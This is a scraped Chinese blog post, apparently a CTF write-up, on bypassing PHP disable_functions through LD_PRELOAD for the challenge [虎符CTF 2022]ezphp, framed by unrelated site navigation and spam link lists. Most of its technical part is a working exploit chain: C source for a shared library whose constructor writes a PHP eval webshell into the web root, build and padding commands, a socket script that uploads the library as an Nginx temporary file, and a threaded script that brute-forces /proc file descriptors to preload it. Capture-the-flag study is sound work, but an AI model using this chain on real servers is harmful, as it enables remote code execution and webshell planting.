当前位置: 首页 > news >正文

运营公司安卓优化大师app

运营公司,安卓优化大师app,网站的域名不能登录,广东网站建设方案文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理 LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接…

文章目录

  • 原理
    • LD_PRELOAD介绍
    • 如何上传.so文件
  • 例题 [虎符CTF 2022]ezphp


原理

LD_PRELOAD介绍

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

什么是链接

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。但是由于程序是在运行时动态加载,这就存在一个问题,假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。
使用LD_PRELOAD绕过的条件

能够上传自己的.so文件
能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

当我们能够设置环境变量,比如putenv函数未被禁止,我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,由此,恶意代码就被注入到程序中。

如何上传.so文件

利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决
详细可参考[HXPCTF 2021]includer’s revenge

简单的RCE就是可以蚁剑连接后在/tmp下上传,难的话就像下面的例题

例题 [虎符CTF 2022]ezphp

源码如下

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

就是简单的三元运算符,存在参数env

首先恶意.so文件的构造
创建1.c文件,写入一句话木马,写到shell.php

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("echo \"<?php eval(\\$_POST['cmd']);?>\" > /var/www/html/shell.php");
}

注:\\是为了防转义(\\\待定)

然后在Linux系统下用自带的gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

增大so文件的大小,在so文件尾部加入脏字符

var=`dd if=/dev/zero bs=1c count=10000 | tr '\0' 'c'

再执行

echo $var >> 1.so

可以看到文件是变大了

在这里插入图片描述
然后上脚本

脚本一(向网站发包)

from threading import Thread
import requests
import socket
import timeport = 28552
host = "node2.anna.nssctf.cn"def do_so():data = open("1.so", "rb").read()packet = f"""POST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) + 11}\r\n\r\n"""packet = packet.encode()packet += datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ == "__main__":do_so()

脚本二(爆破一下pid)

import requests
from threading import Threadport = 28552
host = "node2.anna.nssctf.cn"def ldload(pid, fd):sopath = f"/proc/{pid}/fd/{fd}"print(sopath)r = requests.get(f"http://{host}:{port}/index.php", params={"env":f"LD_PRELOAD={sopath}"})return rif __name__ == "__main__":# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t = Thread(target=ldload, args=(pid, fd))t.start()

在Linux同时运行脚本(当然windows也行)

python3 1.py & python3 2.py

通过脚本,一直往服务器传写入so文件
在这里插入图片描述传入成功后,在/shell.php直接命令执行

http://www.ds6.com.cn/news/74633.html

相关文章:

  • 邢台企业做网站推广免费关键词优化排名软件
  • 东莞做购物网站长沙关键词优化费用
  • 工商网企业信息查询公众号排名优化软件
  • 媒体网站怎么做品牌网站建设公司
  • 网站301做排名网络营销的八大能力
  • 可以做哪些网站有哪些内容搜客通
  • 网站设计实训心得体会站长工具综合权重查询
  • 枞阳网站制作站长之家 seo查询
  • 网站建设类课题的研究方法百度官网网页版
  • 做的最好的epub网站廊坊seo排名公司
  • 公司做的网站账务处理百度推广登陆后台
  • 做电影网站需要什么手续西安网站设计开发
  • 佛山营销网站建设费用蜂蜜网络营销推广方案
  • 相亲网站上做绿叶的女人很多个人网站源码免费下载
  • 商丘网站建设哪家好大兴今日头条新闻
  • 中级经济师考试时间南昌seo推广公司
  • wordpress功能解释网站优化排名易下拉稳定
  • asp动态网站开发视频教程关键词查询工具免费
  • 谷歌做新媒体运营的网站app开发定制
  • wordpress 整站语言哈尔滨优化网站公司
  • 淄博外贸网站制作谷歌搜索为什么用不了
  • 外贸平台网站有哪些建站系统
  • 电商网站开发 思维导图java培训学费多少钱
  • 昆明网站做的好的公司电商项目策划书
  • 贵阳网站托管北京seo实战培训班
  • 网站建设管理总结北京最新疫情最新消息
  • 如何选择常州网站建设廊坊百度快照优化
  • 万户做网站怎么样比较正规的代运营
  • 定兴网站建设深圳最新政策消息
  • 浏览器一打开就是2345网址导航网站优化关键词公司